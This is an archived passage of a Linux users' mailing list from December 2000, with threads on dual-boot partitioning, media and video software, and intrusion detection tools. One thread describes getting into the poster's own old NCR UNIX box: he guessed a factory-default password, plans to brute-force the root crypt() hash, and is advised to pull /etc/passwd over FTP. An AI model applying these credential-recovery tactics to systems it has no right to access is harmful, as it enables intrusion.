WINDOWS!!! (the reason I emphisize > > this is that in my experience it is either one or the > > other on any computer... you can't run both without > > some kind of system failure. > > System failure? That's not good. But the reality is linux should coexist > without issue with any operating system. I've had Linux, Windows NT, and > Windows 98 installed on the same box with no issues. Currently the only > issue with my dual boot system is that my aging hard drives that I used for > windows died. On the bright side that leaves me with an all SCSI system. :) > > In the end it is probally easiest to wipe windows and reinstall, but keep in > mind that many laptops (espically Compaqs) have special windows install > disks and you can only get a working copy of windows from those special > disks. This wouldn't be so bad except that those disks have a nasty habit of > completely redoing your partitions. I'm pretty sure that RedHat and Mandrake > come with a stripped down version of Partition Magick to resize drives. They > probally still ship with disk druid as well. Since you haven't converted > your Windows partition to NTFS resizing the drive shouldn't be too much of a > problem, but beyond the programs I mentioned above I can't think of anything > else to do it... > > -- > Andy Zbikowski, Sys Admin | (WEB) http://www.ltiflex.com > LTI Flexible Products, Inc. | (PH) 763-428-9119 (EX) 132 > 21801 Industrial Blvd | (FX) 763-428-9126 > Rogers, MN 55374 | (PCS) 612-306-6055 From austad at marketwatch.com Fri Dec 29 17:52:26 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... Message-ID: That particular install was Mandrake 7.1, however, 7.2 is out now and is much better. I suggest using that. It doesn't use partition magic to resize the partitions though, I think it uses a form of fips. In any case, it worked very well. Just click on the windows partition, click resize, and move the slider down to whatever size you want. Then click on your freed up space and create your linux partitions, it's very simple. I didn't have any problems, but I make no guarantees, back up your important data first. :) Jay > -----Original Message----- > From: Christopher Gahlon [mailto:cgahlon@citilink.com] > Sent: Friday, December 29, 2000 4:19 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Windoze 2K woes... > > > Thanks Jay! > > What version of Mandrake did you use? > > I've got to keep a copy of windows for work reasons. And how > else am I > supposed to play Starcraft, Worms, or Delta Force 2? > > Oh yeah, and does anyone know of a disk editor that supports > fat32 partitions? > > Chris Gahlon > > > "Austad, Jay" wrote: > > > I just used the standard resize option in the Mandrake > install on my Win2k > > partition, and it worked just fine. I didn't defrag > anything first either. > > > > Jay > > > > > -----Original Message----- > > > From: Christopher Gahlon [mailto:cgahlon@citilink.com] > > > Sent: Friday, December 29, 2000 2:30 PM > > > To: tclug-list@mn-linux.org > > > Subject: [TCLUG] Windoze 2K woes... > > > > > > > > > I've been lurking the list for a while now, and I've seen a > > > lot of help > > > here I can't find anywhere else on the net. > > > > > > I have a laptop with W2K Pro on it and I'd like to resize the > > > partition > > > to install linux on it. I've defraged the drive but windows > > > appears to > > > leave some small amount of information at the end of the > disk. I've > > > made a ghost image, so I'm not worried about loosing > > > anything. Is there > > > a disk editor out there (maybe one that works like > Norton's diskedit) > > > that will work on a FAT-32 partition. I just want to delete > > > the info at > > > the end of the disk so I can resize it. I'd rather not buy > > > commercialre-paritioning software, as I'd only use it once. Any > > > suggestions? > > > > > > Chris Gahlon > > > > > > _______________________________________________ > > > tclug-list mailing list > > > tclug-list@lists.real-time.com > > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From ben at nerp.net Fri Dec 29 20:24:09 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: <00122911323100.01125@dedannshae.ssbs.com> Message-ID: I use lame (beta), cdparanoia, and xmcd (for cd track info)... it's all processed by a perl script called "ripit" (check freshmeat) i just stick the disk in.. run ripit.. it works for a while.. then it's done.. :) Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Fri, 29 Dec 2000, Dave Sherman wrote: > Hey all -- > > I am looking around for a good CD ripper/mp3 encoder, and it appears > that there are a LOT of them out there. Just s simple search at > freshmeat turned up a bunch of hits. > > So I'm wondering, does anyone on the list have a suggestion or two for > good apps in this arena? I don't care if it's a console app, X-based, > or whatever. I run Window Maker for my wm, and I am pretty much > desktop-environment-agnostic. Although if you can suggest a nice WM > dock app, that might be cool. > > Dave Sherman > -- > Quid quid latine dictum sit, altum viditur. > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From chrome at real-time.com Fri Dec 29 22:40:48 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] [OT] NCR 3400 SVR4 box. Message-ID: <20001229224042.A21285@real-time.com> Anyone know how to break into an SVR4 system, where I have console access? I just got ahold of 1992 NCR System 3400. it's a 486DX/50, with 64MB of RAM. the case is built like a bank vault. must weigh about 100lbs. no flimsy metal here; the frame is probably 14-gauge steel, the base is a block of cast steel (no flimsy plastic feet!), and the cover is on roller bearings, just like your desk drawers. it's microchannel, and has a 10base-T ethernet board and (I think) 2 16-port serial boards (which I don't have cables for). also has a QIC tape drive of some sort, and 2 SCSI drives (one 5.25" full height, the other a 3.5" HH). I've got it up & running; the dmesg wasn't very helpful. as I understand it, these things were orginally designed by AT&T (NCR is an AT&T company, according to the label on this thing) as telephony servers. they do build those things ruggedly. :) this thing is seriously geeky-cool. :) it's running NCR UNIX, which is honest-to-God SVR4, as I understand it. only problem is, I have no idea what usernames/passwords are on this thing. so I need to break in somehow. :) what occurs to me is to make some sort of boot disk (which would need to support microchannel, and whatever the SCSI adapter is, and UFS, I think), and hack /etc/passwd; but I don't even know if this is possible. the other possibility is to pull out the disks, and mount them on some other box (it's just regular narrow SCSI, AFAIK), then hack up /etc/passwd. I really don't want to blow away the OS, at least not before looking around. especially since this may have the only handy device drivers for itself. :) I know Tom Cross in St.Cloud has a similar model. Tom, what can you tell us about these monstrosities? :) Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From jethro at freakzilla.com Sat Dec 30 03:39:12 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Mozilla PSM Death? Message-ID: Hey, Anyone been able to connect to SSL pages with recent Mozilla Daily Builds? Doesn't seem to want to do it anymore for me... whether or not I force PSM installation on it. -Yaron -- From dcsherman at qwest.net Sat Dec 30 08:55:03 2000 From: dcsherman at qwest.net (Dave) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] CD ripper/ MP3 encoder In-Reply-To: References: <00122911323100.01125@dedannshae.ssbs.com> Message-ID: <5.0.2.1.0.20001230085158.009e7a00@pop.mpls.uswest.net> Thanks to all for the suggestions. I am presently trying out grip with notlame, seems to work pretty well. Since I only record my CDs for listening in my office (on some basic PC speakers), I decided that ogg wasn't really necessary. When I start burning custom music-mix CDs at home, then I will definitely try out ogg. Dave At 08:24 PM 12/29/00 -0600, you wrote: >I use lame (beta), cdparanoia, and xmcd (for cd track info)... it's all >processed by a perl script called "ripit" (check freshmeat) i just stick >the disk in.. run ripit.. it works for a while.. then it's done.. :) > >Thank You, > Ben Kochie (ben@nerp.net) > > "Unix is user friendly, Its just picky about its friends." > >On Fri, 29 Dec 2000, Dave Sherman wrote: > > > Hey all -- > > > > I am looking around for a good CD ripper/mp3 encoder, and it appears > > that there are a LOT of them out there. Just s simple search at > > freshmeat turned up a bunch of hits. > > > > So I'm wondering, does anyone on the list have a suggestion or two for > > good apps in this arena? I don't care if it's a console app, X-based, > > or whatever. I run Window Maker for my wm, and I am pretty much > > desktop-environment-agnostic. Although if you can suggest a nice WM > > dock app, that might be cool. > > > > Dave Sherman > > -- > > Quid quid latine dictum sit, altum viditur. > > _______________________________________________ > > tclug-list mailing list > > tclug-list@lists.real-time.com > > https://mailman.real-time.com/mailman/listinfo/tclug-list > > > >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list 01000001 00001010 01100001 01101100 01101111 01100111 01101001 01110011 01100100 01100101 01100001 01100100 01001110 01101111 01101110 01100111 01101100 01101001 01110110 01100101 01100100 01101001 01100111 01101001 01110100 01100001 01101100 (Go figure it out.) From dgorentz at unitelc.com Sat Dec 30 02:38:24 2000 From: dgorentz at unitelc.com (Dan Gorentz) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Windoze 2K woes... References: <3A4CF455.CBE1AA10@citilink.com> Message-ID: <3A4D9F00.115AEC1D@unitelc.com> I don't know if W2k's disk defrager is the same as Win98 but I just had a similar problem setting up a win98/linux dual boot laptop. I turned off the "rearrange program files so my programs start faster" option in the defrag settings and it then worked correctly leaving no data at the end of the disk. Dan Gorentz Christopher Gahlon wrote: > I have a laptop with W2K Pro on it and I'd like to resize the partition > to install linux on it. I've defraged the drive but windows appears to > leave some small amount of information at the end of the disk. I've > made a ghost image, so I'm not worried about loosing anything. Is there > a disk editor out there (maybe one that works like Norton's diskedit) > that will work on a FAT-32 partition. I just want to delete the info at > the end of the disk so I can resize it. I'd rather not buy > commercialre-paritioning software, as I'd only use it once. Any > suggestions? > > Chris Gahlon From tobytoo at black-hole.com Sat Dec 30 13:01:05 2000 From: tobytoo at black-hole.com (b. toberman) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Video Editing software Message-ID: <3A4E30F1.4DCB8EA1@black-hole.com> Does anyone know of any decent video editing software for Linux ? I've been trying to find some but al I can find is software for animation and imaging. From wilson at visi.com Sat Dec 30 13:05:50 2000 From: wilson at visi.com (Timothy Wilson) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <3A4E30F1.4DCB8EA1@black-hole.com> Message-ID: On Sat, 30 Dec 2000, b. toberman wrote: > Does anyone know of any decent video editing software for Linux ? > I've been trying to find some but al I can find is software for > animation and imaging. The latest Linux Journal has an article about video editing. You can read it online at http://www2.linuxjournal.com/lj-issues/issue81/4382.html -Tim -- Tim Wilson | Visit Sibley online: | Check out: Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/ W. St. Paul, MN | | http://slashdot.org/ wilson@visi.com | | http://linux.com/ From parker at mi-recordz.com Sat Dec 30 13:15:48 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:14:16 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <3A4E30F1.4DCB8EA1@black-hole.com> Message-ID: Hi, > Does anyone know of any decent video editing software for Linux ? > I've been trying to find some but al I can find is software for > animation and imaging. I intend to have a look at the following: http://heroine.linuxave.net/bcast2000.html I don't know much about the video production and serving but I don't think the Quicktime serving is very interesting, I'm told quicktime owns %6 of the market while Real pretty much has the rest. However, I think you can wrap the Quicktime files into SMIL code and stream them to any player. I've got to look into this though. From dieman at ringworld.org Sat Dec 30 14:46:04 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: ; from parker@mi-recordz.com on Sat, Dec 30, 2000 at 11:15:48AM -0800 References: <3A4E30F1.4DCB8EA1@black-hole.com> Message-ID: <20001230144604.L12580@ringworld.org> * parker@mi-recordz.com [001230 13:26]: > the Quicktime serving is very interesting, I'm told quicktime owns %6 of > the market while Real pretty much has the rest. However, I think you can Take a look at RealPlayer8, its pretty darn close to the quality of quicktime, and it isn't platform lockin. Its even got players for Unix. Plus, the tools are all nifty command line for moving from your edited video to rp8 compressed. (if your using unix, otherwise, theres a nifty windows GUI) SIML looks cool too. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... 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Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001230/8c8dc2f3/attachment.pgp From parker at mi-recordz.com Sat Dec 30 14:47:35 2000 From: parker at mi-recordz.com (parker@mi-recordz.com) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <20001230144706.M12580@ringworld.org> Message-ID: Hi, > Oh, and if anyone does get it working with FireWire and DV, let me know, > I wanna come over and play. :) I've got the binary, rpm, installed on RH7.0 without a hitch so I can at least give it a test run. I have DV cams but need to get a firewire card. Can anyone suggest something that's linux supported? Ron From tomc at kendeco.com Sat Dec 30 19:55:48 2000 From: tomc at kendeco.com (Tom Cross) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Re: [SCALUG] [OT] NCR 3400 SVR4 box. In-Reply-To: <20001229224042.A21285@real-time.com> Message-ID: On Fri, 29 Dec 2000, Carl Wilhelm Soderstrom wrote: > Anyone know how to break into an SVR4 system, where I have console access? > > I just got ahold of 1992 NCR System 3400. it's a 486DX/50, with 64MB of RAM. > the case is built like a bank vault. must weigh about 100lbs. no flimsy > metal here; the frame is probably 14-gauge steel, the base is a block of > cast steel (no flimsy plastic feet!), and the cover is on roller bearings, > just like your desk drawers. it's microchannel, and has a 10base-T ethernet > board and (I think) 2 16-port serial boards (which I don't have cables for). > also has a QIC tape drive of some sort, and 2 SCSI drives (one 5.25" full > height, the other a 3.5" HH). > > I've got it up & running; the dmesg wasn't very helpful. > > as I understand it, these things were orginally designed by AT&T (NCR is an > AT&T company, according to the label on this thing) as telephony servers. > they do build those things ruggedly. :) > > this thing is seriously geeky-cool. :) > > it's running NCR UNIX, which is honest-to-God SVR4, as I understand it. > only problem is, I have no idea what usernames/passwords are on this thing. > so I need to break in somehow. :) > > what occurs to me is to make some sort of boot disk (which would need to > support microchannel, and whatever the SCSI adapter is, and UFS, I think), > and hack /etc/passwd; but I don't even know if this is possible. > > the other possibility is to pull out the disks, and mount them on some other > box (it's just regular narrow SCSI, AFAIK), then hack up /etc/passwd. > > I really don't want to blow away the OS, at least not before looking around. > especially since this may have the only handy device drivers for itself. > :) > > I know Tom Cross in St.Cloud has a similar model. Tom, what can you tell us > about these monstrosities? :) NCR is no longer an AT&T company. Sorry a little nit pick, but I *HAD* to correct that... Somewhere I have the pin-outs for the serial ports. Also, I should be able to make "dd" copies of the NCR Unix boot disks I have laying around. There has been lots of work lately to get MCA SCSI and MCA ethernet drivers working under Linux so it might be possible to get linux working nicely with it. About mounting the drives on a linux box I have no idea. I've never tried that. Hmmmm..... They are *NICE* machines. Built VERY solid. No doubt they were meant to be servers. Um, after you've had your way with it... Interested in getting rid of it? :) -- Tom Cross Voice: 320-253-1020 FAX: 320-253-6956 System Administrator E-mail: tomc@kendeco.com Airgas Kendeco Tool Crib http://www.kendeco.com --> Now with new and improved extension number 207!!! <-- St Cloud Area Linux Users Group: http://www.scalug.org From austad at marketwatch.com Sat Dec 30 21:12:31 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Kondara Linux Message-ID: Anyone tried the Kondara Linux distribution? http://www.kondara.com From chrome at real-time.com Sun Dec 31 10:58:00 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <20001230144706.M12580@ringworld.org>; from dieman@ringworld.org on Sat, Dec 30, 2000 at 02:47:06PM -0600 References: <3A4E30F1.4DCB8EA1@black-hole.com> <20001230144706.M12580@ringworld.org> Message-ID: <20001231105800.B23724@real-time.com> > Oh, and if anyone does get it working with FireWire and DV, let me know, > I wanna come over and play. :) what's this, Scott Dier talking about willingly using a *GUI* app? Better check gweather for the temperature in Hades... ;> Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From dieman at ringworld.org Sun Dec 31 13:00:43 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <20001231105800.B23724@real-time.com> References: <3A4E30F1.4DCB8EA1@black-hole.com> <20001230144706.M12580@ringworld.org> <20001231105800.B23724@real-time.com> Message-ID: <20001231190043.AC324B6@teela> On 31 Dec 2000 10:58:00 -0600, Carl Wilhelm Soderstrom wrote: > > Oh, and if anyone does get it working with FireWire and DV, let me know, > > I wanna come over and play. :) > > what's this, Scott Dier talking about willingly using a *GUI* app? Better check > gweather for the temperature in Hades... It's not that farfetched. I'm actually trying out evolution right now for email. Its pretty nifty with IMAP. I'm gonna ask that they add openssl support though. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) From jethro at freakzilla.com Sun Dec 31 13:28:04 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: <20001231190043.AC324B6@teela> Message-ID: Hi, On 31 Dec 2000, Scott Dier wrote: > It's not that farfetched. I'm actually trying out evolution right now > for email. Its pretty nifty with IMAP. > > I'm gonna ask that they add openssl support though. They won't, because OpenSSL isn't GPL. If you can find them a GPL-compatible SSL library, then they'll do it. -Yaron -- From tanner at real-time.com Sun Dec 31 13:57:54 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Linux Intrustion Detection? Message-ID: <20001231135754.E25927@real-time.com> Anyone have a recommendation on intrustion detection software for linux? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From dieman at ringworld.org Sun Dec 31 14:26:28 2000 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Video Editing software In-Reply-To: ; from jethro@freakzilla.com on Sun, Dec 31, 2000 at 01:28:04PM -0600 References: <20001231190043.AC324B6@teela> Message-ID: <20001231142628.A10538@ringworld.org> * Yaron [001231 13:29]: > They won't, because OpenSSL isn't GPL. If you can find them a > GPL-compatible SSL library, then they'll do it. Oh. Fooey. -- Scott Dier #linuxos@irc.openprojects.net http://www.ringworld.org/ finger:dieman@destiny.ringworld.org "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! Kupooo." -Moguta (FFIX) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001231/cd78f569/attachment.pgp From ben at nerp.net Sun Dec 31 14:30:14 2000 From: ben at nerp.net (Ben Kochie) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Linux Intrustion Detection? In-Reply-To: <20001231135754.E25927@real-time.com> Message-ID: RJ11 behind me says "tripwire" I was about to suggest looking at LIDS tho. Thank You, Ben Kochie (ben@nerp.net) "Unix is user friendly, Its just picky about its friends." On Sun, 31 Dec 2000, Bob Tanner wrote: > Anyone have a recommendation on intrustion detection software for linux? > > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From tanner at real-time.com Sun Dec 31 15:06:23 2000 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Linux Intrustion Detection? In-Reply-To: ; from ben@nerp.net on Sun, Dec 31, 2000 at 02:30:14PM -0600 References: <20001231135754.E25927@real-time.com> Message-ID: <20001231150623.F25927@real-time.com> Quoting Ben Kochie (ben@nerp.net): > RJ11 behind me says "tripwire" I was about to suggest looking at LIDS tho. > Tripwire is for changes to file systems, I guess I should talked about network intrustion. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From austad at marketwatch.com Sun Dec 31 15:23:51 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:17 2005 Subject: [TCLUG] Linux Intrustion Detection? Message-ID: If you're looking for a good network intrusion detection system, try Snort. http://www.snort.org I've been using the nightly CVS versions and they seem to work well. If you set it up to log to a mysql database, you can use ACID which is a PHP based query tool to run reports on the types of attacks people are launching on you. For alerting, you'll want to use swatch with a carefully crafted config file. If you're on a very large network, you probably don't want to get paged for every little portscan or large ICMP packet. However, for your home network, you might want to. There's another ruleset at http://www.whitehats.com/ids that has some interesting rules in it. By using multiple snort boxes, you can split the load up on a large network and just log to the same database server. Put half of the rules on one box, and the other half on another box. My PIII 750 sits at 100% cpu when sniffing 20Mbit/sec and using the defrag preprocessor. Maybe a newer CVS version will fix that, but you can always turn off defrag. I noticed that the ruleset can generate alot of false positives on a very busy network. Some of the rules you may have to modify or remove if you're getting too many alerts on them. Of course, you'll want to figure out if they are false positives or not first. Unfortunately, as of now, each portscan shows up as a unique attack, it doesn't group them together yet. Work is progressing extremely fast on it though. I'm planning on writing a GRE decoder plugin for it so I can sniff traffic in unencrypted GRE tunnels. I just have to find some time. :) Jay > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Sunday, December 31, 2000 3:06 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Linux Intrustion Detection? > > > Quoting Ben Kochie (ben@nerp.net): > > RJ11 behind me says "tripwire" I was about to suggest > looking at LIDS tho. > > > > Tripwire is for changes to file systems, I guess I should > talked about network > intrustion. > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Sun Dec 31 15:25:55 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] Video Editing software Message-ID: Is evolution plugin based? You could just develop the SSL plugin for it separately. It's taken them a LONG time to work the bugs out of Evolution though. I can't imagine implementing something like that would be very straightforward. You'd probably have to modify an assload of code. > -----Original Message----- > From: Scott Dier [mailto:dieman@ringworld.org] > Sent: Sunday, December 31, 2000 2:26 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Video Editing software > > > * Yaron [001231 13:29]: > > They won't, because OpenSSL isn't GPL. If you can find them a > > GPL-compatible SSL library, then they'll do it. > > Oh. Fooey. > > -- > Scott Dier #linuxos@irc.openprojects.net > http://www.ringworld.org/ finger:dieman@destiny.ringworld.org > > "Kupo, kupkup, kupopo... Po... Kupo!? KUPOPO!!! > Kupooo." > -Moguta (FFIX) > From chrome at real-time.com Sun Dec 31 15:46:56 2000 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] Re: [SCALUG] [OT] NCR 3400 SVR4 box. In-Reply-To: ; from tomc@kendeco.com on Sat, Dec 30, 2000 at 07:55:48PM -0600 References: <20001229224042.A21285@real-time.com> Message-ID: <20001231154656.E23724@real-time.com> > Somewhere I have the pin-outs for the serial ports. Also, I should be > able to make "dd" copies of the NCR Unix boot disks I have laying around. cool. given a crude shell of some sort, I can read the root password hash and probably brute-force it in a couple of days (especially when my 1.1GHz Thunderbird arrives); since I'm sure it's just crypt()'ed. I did actually guess the password for the 'sys' account (it was still set to password 'sys', probably a factory default); but unfortunately the shell for that account seems to have been set to /bin/false. it did ask me to put in a new password (the old one was overdue for a change), and it required that it be at least 6 characters in length and contain 2 numbers. > There has been lots of work lately to get MCA SCSI and MCA ethernet > drivers working under Linux so it might be possible to get linux working > nicely with it. well, Alan Cox has been working on it, at least. > Um, after you've had your way with it... Interested in getting rid of it? > :) probably not. if nothing else, I'll make a display case out of it or something like that. I don't think it's big enough to make into a wet bar. :) (cf. the 'vaxbar') I wonder if an ATX board could be made to fit well? Carl. -- Network Engineer Real-Time Enterprises (952) 943-8700 From goldman at htc.honeywell.com Sun Dec 31 16:28:46 2000 From: goldman at htc.honeywell.com (Robert P. Goldman) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] MacOS -> Samba In-Reply-To: <20001228185853.L21627@real-time.com> Message-ID: On Thu, 28 Dec 2000, Bob Tanner wrote: > Since the mailing list archives are down, I had to post without doing my > research. :-) > > Anyone know of a way to get MacOS to talk to a Samba server running under Linux? > > I see DAVE out there, but I was wondering if there is an open source solution? Certainly! (if your server is Linux). Netatalk. You can't directly talk to samba, but you can set up the same shares that you do in samba under netatalk. It's really not that difficult to set up. If you search on "netatalk" there are "howto" documents out there. I have shared both disk and printers this way. (just set the mac printer to a postscript printer, and point it to your "ghostscript" printer) -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What the president of the Motion Picture Association of America says about taking away your constitutional rights: "I'm rather jubilant now. What Judge Kaplan did was blow away every one of these brittle and fragile rebuttals. He threw out fair use; he threw out reverse engineering; he threw out linking." - Jack Valenti, president of the Motion Picture Association of America. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ --- Bob Tanner wrote: > Anyone have a recommendation on intrustion detection > software for linux? Portsentry... check out Nov/Dec 2000 issue of Maximum Linux, might be a bunch of meatballs but they have provided some pretty decent software... The issue deals with security matters... found it a good read. And the free CD had some interesting downloads. Manuel. __________________________________________________ Do You Yahoo!? Yahoo! Photos - Share your holiday photos online! http://photos.yahoo.com/ From hick0088 at tc.umn.edu Sun Dec 31 19:34:11 2000 From: hick0088 at tc.umn.edu (Michael Hicks) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] Windoze 2K woes... References: Message-ID: <3A4FDE93.C1A7E4D8@tc.umn.edu> "Austad, Jay" wrote: > > That particular install was Mandrake 7.1, however, 7.2 is out now and is > much better. I suggest using that. > > It doesn't use partition magic to resize the partitions though, I think it > uses a form of fips. In any case, it worked very well. Just click on the > windows partition, click resize, and move the slider down to whatever size > you want. Then click on your freed up space and create your linux > partitions, it's very simple. I didn't have any problems, but I make no > guarantees, back up your important data first. :) > > Jay I think Mandrake uses the DiskDrake program to resize partitions. You can find DiskDrake here: http://www.linux-mandrake.com/diskdrake/ Of course, unless you're installing Mandrake, you need to already be running Linux to be able to use it... -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Recursive, adj.; see / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ Recursive. \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] From austad at marketwatch.com Sun Dec 31 19:59:46 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] Re: [SCALUG] [OT] NCR 3400 SVR4 box. Message-ID: > the shell for that account seems to have been set to /bin/false. So just FTP in and grab /etc/passwd. I don't think it uses shadow passwords. > -----Original Message----- > From: Carl Wilhelm Soderstrom [mailto:chrome@real-time.com] > Sent: Sunday, December 31, 2000 3:47 PM > To: linux@scalug.org > Cc: tclug-list@mn-linux.org > Subject: [TCLUG] Re: [SCALUG] [OT] NCR 3400 SVR4 box. > > > > Somewhere I have the pin-outs for the serial ports. Also, > I should be > > able to make "dd" copies of the NCR Unix boot disks I have > laying around. > cool. given a crude shell of some sort, I can read the > root password > hash and probably brute-force it in a couple of days > (especially when my > 1.1GHz Thunderbird arrives); since I'm sure it's just crypt()'ed. > > I did actually guess the password for the 'sys' account (it was > still set to password 'sys', probably a factory default); but > unfortunately > the shell for that account seems to have been set to /bin/false. > it did ask me to put in a new password (the old one was > overdue for > a change), and it required that it be at least 6 characters > in length and > contain 2 numbers. > > > There has been lots of work lately to get MCA SCSI and MCA ethernet > > drivers working under Linux so it might be possible to get > linux working > > nicely with it. > well, Alan Cox has been working on it, at least. > > > Um, after you've had your way with it... Interested in > getting rid of it? > > :) > probably not. if nothing else, I'll make a display case > out of it or > something like that. I don't think it's big enough to make > into a wet bar. > :) (cf. the 'vaxbar') > > I wonder if an ATX board could be made to fit well? > > Carl. > -- > Network Engineer > Real-Time Enterprises > (952) 943-8700 > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > From austad at marketwatch.com Sun Dec 31 20:04:59 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:14:18 2005 Subject: [TCLUG] Linux Intrustion Detection? Message-ID: Isn't portsentry primarily designed just to react to portscans only? I don't think it will detect modified files or send alerts about attempted exploits. Portsentry is a good tool though. It'll generate ipchains rules to block the ip of a host which is scanning you. I have a friend who runs it at the dorms at the U of MN. He gets scanned ALOT. Someone broke into his box last year and was saturating a DS3 with his box doing a DoS against some other site. Jay > -----Original Message----- > From: grey Moon-Wolf [mailto:mtsqph@yahoo.com] > Sent: Sunday, December 31, 2000 5:43 PM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] Linux Intrustion Detection? > > > > --- Bob Tanner wrote: > > Anyone have a recommendation on intrustion detection > > software for linux? > > Portsentry... check out Nov/Dec 2000 issue of Maximum > Linux, might be a bunch of meatballs but they have > provided some pretty decent software... The issue > deals with security matters... found it 